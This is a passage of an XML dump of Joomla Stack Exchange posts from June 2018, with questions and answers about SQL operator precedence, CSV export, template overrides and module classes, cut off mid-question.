  <row Id="22979" PostTypeId="2" ParentId="15789" CreationDate="2018-06-11T04:13:07.910" Score="1" Body="&lt;p&gt;At the end of each of your lines of code you have the invisible characters: &lt;code&gt;\r\n&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that the &lt;code&gt;\r&lt;/code&gt; characters (carriage returns) are to blame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some systems will bind &lt;code&gt;\r\n&lt;/code&gt; together and others will &quot;return&quot; on both &lt;code&gt;\r&lt;/code&gt; and &lt;code&gt;\n&lt;/code&gt; separately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this in your code, you can leave the &lt;code&gt;\n&lt;/code&gt; (newline characters) alone and just do a replace on &lt;code&gt;\r&lt;/code&gt; in your editor -- then your spacing will be as desired.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2018-06-11T04:13:07.910" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22980" PostTypeId="2" ParentId="15741" CreationDate="2018-06-11T06:01:24.390" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;This is a bit wordy, but if you ever get tripped up on complex &lt;code&gt;where()&lt;/code&gt; expressions or don't know about &lt;em&gt;operator precedence&lt;/em&gt; please read this at least once.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Your question is slightly ambiguous about how the &lt;code&gt;WHERE&lt;/code&gt; clause conditions should be evaluated. This page is a suitable location to mention &lt;a href=&quot;http://www.mysqltutorial.org/mysql-or/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Operator Precedence&lt;/a&gt;.  Unless otherwise stated, we can all assume that the precedence is working as you require.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, before I start explaining the impact of that rule, I first want to condense the logic of the 3rd/final portion of your &lt;code&gt;WHERE&lt;/code&gt; clause (the email matching).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;`email1` = 'someone@fake.net'&#xA;OR `email2` = 'someone@fake.net'&#xA;OR `email3` = 'someone@fake.net'&#xA;OR `email4` = 'someone@fake.net'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...can be written much more succinctly (&lt;em&gt;D.R.Y.&lt;/em&gt; coding practice) as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'someone@fake.net' IN (`email1`, `email2`, `email3`, `email4`)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Now I'll demonstrate &lt;em&gt;&lt;strong&gt;operator precedence&lt;/strong&gt;&lt;/em&gt; using that condensed expression.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;A&lt;/code&gt; will be the &lt;code&gt;tidcode&lt;/code&gt; comparison&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;B&lt;/code&gt; will be the &lt;code&gt;newtidcode&lt;/code&gt; comparison&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;C&lt;/code&gt; will be the &lt;code&gt;email&lt;/code&gt; comparison&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;AND&lt;/strong&gt;s are evaluated before &lt;strong&gt;OR&lt;/strong&gt;s (see earlier hyperlink)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;A OR B AND C&lt;/code&gt; is the same as &lt;code&gt;A OR (B AND C)&lt;/code&gt; ...and I think that is what you desire.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wanted &lt;code&gt;A OR B&lt;/code&gt; to be evaluated before &lt;code&gt;AND C&lt;/code&gt;, you would need to be explicit with parentheses like this: &lt;code&gt;(A OR B) AND C&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;That said, I'll offer two different Joomla-syntax solutions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Single WHERE method call&lt;/strong&gt;: (a lot of line width, but reads like raw sql)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;where(&quot;tidcode = &quot; . $db-&amp;gt;q($tidcode) . &quot; OR tidcode = &quot; . $db-&amp;gt;q($newtidcode) . &quot; AND &quot; . $db-&amp;gt;q($email) . &quot; IN (email1, email2, email3, email4)&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Two WHERE method calls&lt;/strong&gt;: (reduced line width, but reads less like raw sql)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;where(&quot;tidcode = &quot; . $db-&amp;gt;q($tidcode), &quot;OR&quot;)&#xA;-&amp;gt;where(&quot;tidcode = &quot; . $db-&amp;gt;q($newtidcode) . &quot; AND &quot; . $db-&amp;gt;q($email) . &quot; IN (email1, email2, email3, email4)&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Both produce:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;WHERE tidcode = '10348' OR tidcode = 'F10348' AND 'someone@fake.net' IN (email1, email2, email3, email4)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;For comparison, &lt;strong&gt;the following snippets evaluate the &lt;code&gt;OR&lt;/code&gt; first!&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;where(&quot;tidcode = &quot; . $db-&amp;gt;q($tidcode))&#xA;-&amp;gt;extendWhere(&quot;OR&quot;, &quot;tidcode = &quot; . $db-&amp;gt;q($newtidcode))&#xA;-&amp;gt;extendWhere(&quot;AND&quot;, $db-&amp;gt;q($email) . &quot; IN (email1, email2, email3, email4)&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;where(&quot;tidcode = &quot; . $db-&amp;gt;q($tidcode))&#xA;-&amp;gt;orWhere(&quot;tidcode = &quot; . $db-&amp;gt;q($newtidcode))&#xA;-&amp;gt;andWhere($db-&amp;gt;q($email) . &quot; IN (email1, email2, email3, email4)&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;produce (via &lt;code&gt;$query-&amp;gt;dump()&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;WHERE &#xA;(&#xA;(tidcode = '10348') OR &#xA;(tidcode = 'F10348')) AND &#xA;('someone@fake.net' IN (email1, email2, email3, email4))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;...&lt;strong&gt;BUT&lt;/strong&gt;, if you &lt;strong&gt;DO&lt;/strong&gt; want to evaluate the &lt;code&gt;OR&lt;/code&gt; first, then go ahead and repackage the first two conditions of the WHERE clause with &lt;code&gt;IN&lt;/code&gt; too.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;where(&#xA;    array(&#xA;        &quot;tidcode IN (&quot; . implode(&quot;, &quot;, $db-&amp;gt;q(array($tidcode, $newtidcode))) . &quot;)&quot;,&#xA;        $db-&amp;gt;q($email) . &quot; IN (email1, email2, email3, email4)&quot;&#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which produces:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;WHERE tidcode IN ('10348', 'F10348') AND 'someone@fake.net' IN (email1, email2, email3, email4)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2018-06-11T06:01:24.390" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22981" PostTypeId="2" ParentId="15636" CreationDate="2018-06-11T07:17:03.790" Score="0" Body="&lt;p&gt;Critically, you need to adjust your &lt;code&gt;WHERE&lt;/code&gt; clause comparison so that you are collecting ALL of the products of the day.  I have packed my snippet with inline comments, refinements, checkpoints, debugging features, and a single/concatenated response string to email yourself.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$body = &quot;&quot;;&#xA;$db = JFactory::getDBO();&#xA;try {&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;                -&amp;gt;select(&quot;product_sku&quot;)                   // string, not an array&#xA;                -&amp;gt;from(&quot;#__virtuemart_products&quot;)&#xA;                -&amp;gt;where(&quot;DATE(created_on) = CURDATE()&quot;)   // Y-m-d portion = Today's date&#xA;                -&amp;gt;order('ordering');                      // ASC is the default&#xA;    $db-&amp;gt;setQuery($query);&#xA;    if (!$result = $db-&amp;gt;loadAssocList()) {                // check and store for later&#xA;        $body = &quot;&amp;lt;div&amp;gt;No Product Today (date: &quot; . date(&quot;Y-m-d&quot;) . &quot;)&amp;lt;/div&amp;gt;&quot;;&#xA;        // I don't know if you want to delete the old .csv on this fork&#xA;    } else {&#xA;        $head = array_keys($result[0]);  // I'm not sure why this is dynamic (it's hardcoded as &quot;product_sku&quot;)&#xA;&#xA;        // Overwrite CSV&#xA;        $filename = '/home/website/public_html/temp_cron/new.csv';&#xA;&#xA;        // Without *, no need to glob():  http://php.net/manual/en/function.unlink.php#109971&#xA;        if (file_exists($filename)) {&#xA;            if (unlink($filename)) {&#xA;                $body .= &quot;&amp;lt;div&amp;gt;Deleted old .csv&amp;lt;/div&amp;gt;&quot;;&#xA;            } else {&#xA;                $body .= &quot;&amp;lt;div&amp;gt;Failed to deleted old .csv&amp;lt;/div&amp;gt;&quot;;&#xA;            }&#xA;            $body .= &quot;&amp;lt;div&amp;gt;Old .csv not found&amp;lt;/div&amp;gt;&quot;;&#xA;        }&#xA;&#xA;        $written = true;&#xA;        if (!$fp = fopen($filename, 'x')) {  // run and check&#xA;            $body .= &quot;&amp;lt;div&amp;gt;Failed to generate handle for new .csv&amp;lt;/div&amp;gt;&quot;;&#xA;            $written = false;&#xA;        } else {&#xA;            if (!fputcsv($fp, $head)) {  // run and check for failure or zero-length string&#xA;                $body .= &quot;&amp;lt;div&amp;gt;Failed to write head row for new .csv (file write halted)&amp;lt;/div&amp;gt;&quot;;&#xA;                $written = false;&#xA;            } else {&#xA;                foreach ($result as $row) {&#xA;                    if (fputcsv($fp, $row) === false) {  // run and check for success (allowing empty string)&#xA;                        $body .= &quot;&amp;lt;div&amp;gt;Failed to write data row for new .csv (row: &quot; . implode(&quot; , &quot;, $row) . &quot;) (file write halted)&amp;lt;/div&amp;gt;&quot;;&#xA;                        $written = false;&#xA;                        break;  // end the loop&#xA;                    }&#xA;                }&#xA;            }&#xA;            fclose($fp);&#xA;        }&#xA;        if ($written) {&#xA;            $body .= &quot;&amp;lt;div&amp;gt;Successfully wrote &quot; . sizeof($result) . &quot; row(s) to the .csv&amp;lt;/div&amp;gt;&quot;;&#xA;        }&#xA;    }&#xA;} catch (Exception $e) {&#xA;    $body = &quot;Failure Occurred:&amp;lt;br&amp;gt;&quot; . $query-&amp;gt;dump() . &quot;&amp;lt;br&amp;gt;&quot; . $e-&amp;gt;getMessage();&#xA;}&#xA;// ... proceed with emailing portion to deliver $body message to developer&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-06-12T00:49:29.323" LastActivityDate="2018-06-12T00:49:29.323" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22982" PostTypeId="1" CreationDate="2018-06-11T10:05:34.237" Score="1" ViewCount="179" Body="&lt;p&gt;I have a Joomla website (which I didn't install myself) that seems to be lacking the system plugins &quot;Language Filter&quot; and &quot;Language Code&quot;. It seems like it wasn't installed as a multi-language site in the first place (I assume) so that might explain why these two plugins are missing (or maybe that I just fail to find them).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is : how can I install these two plugins on an existing Joomla website ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Joomla 3.8.7&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="12614" LastActivityDate="2019-05-07T13:03:05.607" Title="Installing Language Filter and Language Code system plugins" Tags="|joomla-3.x|plugin|language|multilingual|system-plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22983" PostTypeId="2" ParentId="22982" CreationDate="2018-06-11T10:40:38.580" Score="1" Body="&lt;p&gt;Ok my bad, they were installed. I failed to find them because their names were translated into French in the administration panel...&lt;/p&gt;&#xA;" OwnerUserId="12614" LastActivityDate="2018-06-11T10:40:38.580" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22984" PostTypeId="2" ParentId="22974" CreationDate="2018-06-11T15:49:22.940" Score="1" Body="&lt;p&gt;I worked out that I needed to ensure my output was a number as opposed to true/false or 0/1 etc (boolean).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I did this was to set it as &lt;code&gt;intval&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$list= intval($params['list']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I can call &lt;code&gt;$list&lt;/code&gt; in my if statement and it will perform correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps someone else in the future if there's a better way please comment.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2018-06-11T15:49:22.940" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22985" PostTypeId="2" ParentId="20813" CreationDate="2018-06-12T02:50:45.627" Score="2" Body="&lt;p&gt;Here is a basic structure for isolating each outcome.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$id = 2286;    // you can jinput this or whatever&#xA;$found = 0;    // establish default value&#xA;$affrows = 0;  // establish default value&#xA;$db = JFactory::getDBO();&#xA;try {&#xA;    $select_query = $db-&amp;gt;getQuery(true)&#xA;                       -&amp;gt;select(&quot;COUNT(*)&quot;)&#xA;                       -&amp;gt;from(&quot;#__users&quot;)&#xA;                       -&amp;gt;where(&quot;id = &quot; . (int)$id);&#xA;    $db-&amp;gt;setQuery($select_query);&#xA;    if ($found = $db-&amp;gt;loadResult()) { // if a positive count&#xA;        $update_query = $db-&amp;gt;getQuery(true)&#xA;                           -&amp;gt;update(&quot;#__users&quot;)&#xA;                           -&amp;gt;set(&quot;block = 1&quot;)&#xA;                           -&amp;gt;where(&quot;id = &quot; . (int)$id);&#xA;        $db-&amp;gt;setQuery($update_query);&#xA;        $db-&amp;gt;execute();&#xA;        if ($affrows = $db-&amp;gt;getAffectedRows()) {  // if a positive count&#xA;            JFactory::getApplication()-&amp;gt;enqueueMessage(&quot;Update Successful: Found: $found; Updated: $affrows&quot;);&#xA;        } else {&#xA;            JFactory::getApplication()-&amp;gt;enqueueMessage(&quot;Fruitless Update (No Changes): Found: $found; Updated: $affrows&quot;, &quot;notice&quot;);&#xA;        }&#xA;    } else {&#xA;        JFactory::getApplication()-&amp;gt;enqueueMessage(&quot;Update Ignored - No Qualifying Rows: Found: $found; Updated: $affrows&quot;, &quot;notice&quot;);&#xA;    }&#xA;} catch (Exception $e) {&#xA;    JFactory::getApplication()-&amp;gt;enqueueMessage('Query Syntax Error (Select or Update Failed): Found: $found; Updated: $affrow', 'error');&#xA;    // $query-&amp;gt;dump() . &quot;&amp;lt;br&amp;gt;&quot; . $e-&amp;gt;getMessage()  // &amp;lt;-- not to be displayed publicly&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Above uses no &lt;code&gt;$db-&amp;gt;qn()&lt;/code&gt; or &lt;code&gt;$db-&amp;gt;q()&lt;/code&gt; calls because the table name and columns are single words and not &quot;Reserved&quot; mysql keyword words AND the &lt;code&gt;$id&lt;/code&gt; value is an integer which can be hardcast with &lt;code&gt;(int)&lt;/code&gt; for security reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This assumes you don't want to &lt;a href=&quot;https://stackoverflow.com/a/29787059/2943403&quot;&gt;perform an INSERT when the row does not exist&lt;/a&gt; and check those outcomes.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2018-06-12T02:50:45.627" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22987" PostTypeId="1" CreationDate="2018-06-12T09:42:16.390" Score="0" ViewCount="402" Body="&lt;p&gt;I'm working on a override for com_tags &lt;strong&gt;List of all Tags&lt;/strong&gt;, i want to change when clicking on the tag title the list of items (articles) will slide (accordion) instead of open in a new page.&#xA;I create all the css and layout but i can't get the list for each tag.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/mh3GO.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mh3GO.jpg&quot; alt=&quot;Tag list override Accordion&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This the layout for *._items.php:&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * @package     Joomla.Site&#xA; * @subpackage  com_tags&#xA; *&#xA; * @copyright   Copyright (C) 2005 - 2018 Open Source Matters, Inc. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;JHtml::addIncludePath(JPATH_COMPONENT . '/helpers');&#xA;&#xA;JHtml::_('behavior.core');&#xA;JHtml::_('formbehavior.chosen', 'select');&#xA;&#xA;// Get the user object.&#xA;$user = JFactory::getUser();&#xA;&#xA;// Check if user is allowed to add/edit based on tags permissions.&#xA;$canEdit      = $user-&amp;gt;authorise('core.edit', 'com_tags');&#xA;$canCreate    = $user-&amp;gt;authorise('core.create', 'com_tags');&#xA;$canEditState = $user-&amp;gt;authorise('core.edit.state', 'com_tags');&#xA;&#xA;$n = count($this-&amp;gt;items);&#xA;&#xA;?&amp;gt;&#xA;&amp;lt;div class=&quot;accordion&quot; id=&quot;accordionTags&quot;&amp;gt;&#xA;    &amp;lt;?php if ($this-&amp;gt;items == false || $n === 0) : ?&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;?php echo JText::_('COM_TAGS_NO_TAGS'); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;?php else : ?&amp;gt;&#xA;        &amp;lt;?php foreach ($this-&amp;gt;items as $i =&amp;gt; $item) : ?&amp;gt;&#xA;            &amp;lt;?php if ((!empty($item-&amp;gt;access)) &amp;amp;&amp;amp; in_array($item-&amp;gt;access, $this-&amp;gt;user-&amp;gt;getAuthorisedViewLevels())) : ?&amp;gt;&#xA;            &amp;lt;!--Card Start --&amp;gt;&#xA;            &amp;lt;div class=&quot;card&quot;&amp;gt;&#xA;                &amp;lt;!-- Row Heading --&amp;gt;&#xA;                &amp;lt;div id=&quot;tagRowHeading-&amp;lt;?php echo $i;?&amp;gt;&quot; class=&quot;card-header cat-list-row&amp;lt;?php echo $i % 2; ?&amp;gt;&quot;&amp;gt;&#xA;                    &amp;lt;h4&amp;gt;&#xA;                        &amp;lt;button class=&quot;btn-btn-link&quot; type=&quot;button&quot; data-toggle=&quot;collapse&quot; data-target=&quot;#collapseCard-&amp;lt;?php echo $i;?&amp;gt;&quot; data-parent=&quot;#accordionTags&quot; aria-expanded=&quot;false&quot; aria-controls=&quot;collapseCard-&amp;lt;?php echo $i;?&amp;gt;&quot;&amp;gt;&#xA;                                &amp;lt;?php echo $this-&amp;gt;escape($item-&amp;gt;title); ?&amp;gt;  &#xA;                        &amp;lt;/button&amp;gt; &#xA;                    &amp;lt;/h4&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;!-- End Card Heading --&amp;gt;&#xA;                &amp;lt;!-- Card Body --&amp;gt;&#xA;                &amp;lt;div id=&quot;collapseCard-&amp;lt;?php echo $i;?&amp;gt;&quot; class=&quot;collapse&quot; aria-labelledby=&quot;tagRowHeading-&amp;lt;?php echo $i;?&amp;gt;&quot; data-parent=&quot;#accordionTags&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;card-body&quot;&amp;gt;&#xA;                        &amp;lt;?php echo $this-&amp;gt;loadTemplate('items_tag'); ?&amp;gt;                     &#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;!-- End Card Body --&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;!-- End card --&amp;gt;   &#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;div class=&quot;caption&quot;&amp;gt;&#xA;                &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;get('all_tags_show_tag_description', 1)) : ?&amp;gt;&#xA;                    &amp;lt;span class=&quot;tag-body&quot;&amp;gt;&#xA;                        &amp;lt;?php echo JHtml::_('string.truncate', $item-&amp;gt;description, $this-&amp;gt;params-&amp;gt;get('all_tags_tag_maximum_characters')); ?&amp;gt;&#xA;                    &amp;lt;/span&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endforeach; ?&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;?php // Add pagination links ?&amp;gt;&#xA;    &amp;lt;?php if (!empty($this-&amp;gt;items)) : ?&amp;gt;&#xA;        &amp;lt;?php if (($this-&amp;gt;params-&amp;gt;def('show_pagination', 2) == 1 || ($this-&amp;gt;params-&amp;gt;get('show_pagination') == 2)) &amp;amp;&amp;amp; ($this-&amp;gt;pagination-&amp;gt;pagesTotal &amp;gt; 1)) : ?&amp;gt;&#xA;            &amp;lt;div class=&quot;pagination&quot;&amp;gt;&#xA;                &amp;lt;?php if ($this-&amp;gt;params-&amp;gt;def('show_pagination_results', 1)) : ?&amp;gt;&#xA;                    &amp;lt;p class=&quot;counter pull-right&quot;&amp;gt;&#xA;                        &amp;lt;?php echo $this-&amp;gt;pagination-&amp;gt;getPagesCounter(); ?&amp;gt;&#xA;                    &amp;lt;/p&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;                &amp;lt;?php echo $this-&amp;gt;pagination-&amp;gt;getPagesLinks(); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And for the list of articles(loadTemplate('items_tag')):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;    defined('_JEXEC') or die;&#xA;&#xA;JHtml::_('behavior.core');&#xA;JHtml::_('formbehavior.chosen', 'select');&#xA;&#xA;$n         = count($this-&amp;gt;items);&#xA;$listOrder = $this-&amp;gt;escape($this-&amp;gt;state-&amp;gt;get('list.ordering'));&#xA;$listDirn  = $this-&amp;gt;escape($this-&amp;gt;state-&amp;gt;get('list.direction'));&#xA;&#xA;$articleTag = new JHelperTags;&#xA;$articleTag-&amp;gt;getItemTags('com.content.article', $item-&amp;gt;id);&#xA;&#xA;JFactory::getDocument()-&amp;gt;addScriptDeclaration(&quot;&#xA;        var resetFilter = function() {&#xA;        document.getElementById('filter-search').value = '';&#xA;    }&#xA;&quot;);&#xA;&#xA;?&amp;gt;&#xA;&amp;lt;div id=tagtest&amp;gt;&#xA;    &amp;lt;?php echo JLayoutHelper::render('joomla.content.tags', $articleTag-&amp;gt;itemTags); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;ul&amp;gt;&#xA;    &amp;lt;?php foreach ($this-&amp;gt;items as $i =&amp;gt; $item) : ?&amp;gt;&#xA;        &amp;lt;?php if ($this-&amp;gt;items[$i]-&amp;gt;core_state == 0) : ?&amp;gt;&#xA;            &amp;lt;li class=&quot;system-unpublished cat-list-row&amp;lt;?php echo $i % 2; ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;?php else : ?&amp;gt;&#xA;            &amp;lt;li class=&quot;cat-list-row&amp;lt;?php echo $i % 2; ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;                &amp;lt;a href=&quot;&amp;lt;?php echo JRoute::_(TagsHelperRoute::getItemRoute($item-&amp;gt;content_item_id, $item-&amp;gt;core_alias, $item-&amp;gt;core_catid, $item-&amp;gt;core_language, $item-&amp;gt;type_alias, $item-&amp;gt;router)); ?&amp;gt;&quot;&amp;gt;&#xA;                        &amp;lt;?php echo $this-&amp;gt;escape($item-&amp;gt;core_title); ?&amp;gt;&#xA;                    &amp;lt;/a&amp;gt;&#xA;                    &amp;lt;?php if ($item-&amp;gt;core_state == 0) : ?&amp;gt;&#xA;                        &amp;lt;span class=&quot;list-published label label-warning&quot;&amp;gt;&#xA;                            &amp;lt;?php echo JText::_('JUNPUBLISHED'); ?&amp;gt;&#xA;                        &amp;lt;/span&amp;gt;&#xA;                    &amp;lt;?php endif; ?&amp;gt; --&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12615" LastEditorUserId="12615" LastEditDate="2018-06-14T05:58:28.500" LastActivityDate="2024-03-20T01:07:45.950" Title="Override List of all tags" Tags="|overrides|template-override|tags|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22988" PostTypeId="2" ParentId="21978" CreationDate="2018-06-12T09:48:57.543" Score="0" Body="&lt;p&gt;Check in the Global Cpnfiguration - Site Tab - Default Editor, choose one from the list.&#xA;TinyMCE is the default distrbuted with Joomla!&lt;/p&gt;&#xA;" OwnerUserId="12615" LastActivityDate="2018-06-12T09:48:57.543" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22990" PostTypeId="1" AcceptedAnswerId="23012" CreationDate="2018-06-12T17:58:38.483" Score="1" ViewCount="63" Body="&lt;p&gt;I want to create my own template and I want it to be based on Bootstrap 4 (but I might change in the future).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can create my module positions, but how do I then assign a class to each module i.e. &lt;code&gt;class=&quot;col&quot;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2018-06-18T13:17:30.303" Title="How can I add a class to each module produced?" Tags="|templates|template-framework|" AnswerCount="1" CommentCount="11" ContentLicense="CC BY-SA 4.0" />
  <row Id="22991" PostTypeId="2" ParentId="22734" CreationDate="2018-06-12T18:00:59.023" Score="0" Body="&lt;p&gt;You could create a custom template for that purpose.  &lt;a href=&quot;https://docs.joomla.org/Creating_a_basic_Joomla!_template&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Creating_a_basic_Joomla!_template&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you could use Master Bootstrap &lt;a href=&quot;https://www.masterbootstrap.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.masterbootstrap.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2018-06-12T18:00:59.023" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22992" PostTypeId="2" ParentId="21997" CreationDate="2018-06-12T18:05:27.137" Score="0" Body="&lt;p&gt;One way I found to do this is to use an if statement in the single article html override.  I'd prefer it in the file above the HTML override but I can't work out how to do that anymore.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;item-&amp;gt;catid == 14):&#xA;&#xA;// your stuff here&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2018-06-12T18:05:27.137" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22994" PostTypeId="1" AcceptedAnswerId="23003" CreationDate="2018-06-14T07:38:55.673" Score="2" ViewCount="37" Body="&lt;p&gt;I have made a page, where if the user update its form, the backend will send the user back to the form with a message like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;header('loaction:/index.php?msg');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the index.php site, it loads this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(isset[$_GET['msg'] {&#xA;$message = 'Updated';&#xA;echo '&amp;lt;div class=&quot;update_message&quot;&amp;gt;'.$message.'&amp;lt;/div&amp;gt;';&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works fine, but I would like the message to fade out after a couple of seconds. I tried this, but wouldn't fade out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(isset[$_GET['msg'] {&#xA;$message = 'Updated';&#xA;echo '&amp;lt;div class=&quot;update_message&quot;&amp;gt;'.$message.'&amp;lt;/div&amp;gt;';&#xA;echo &quot;&amp;lt;script 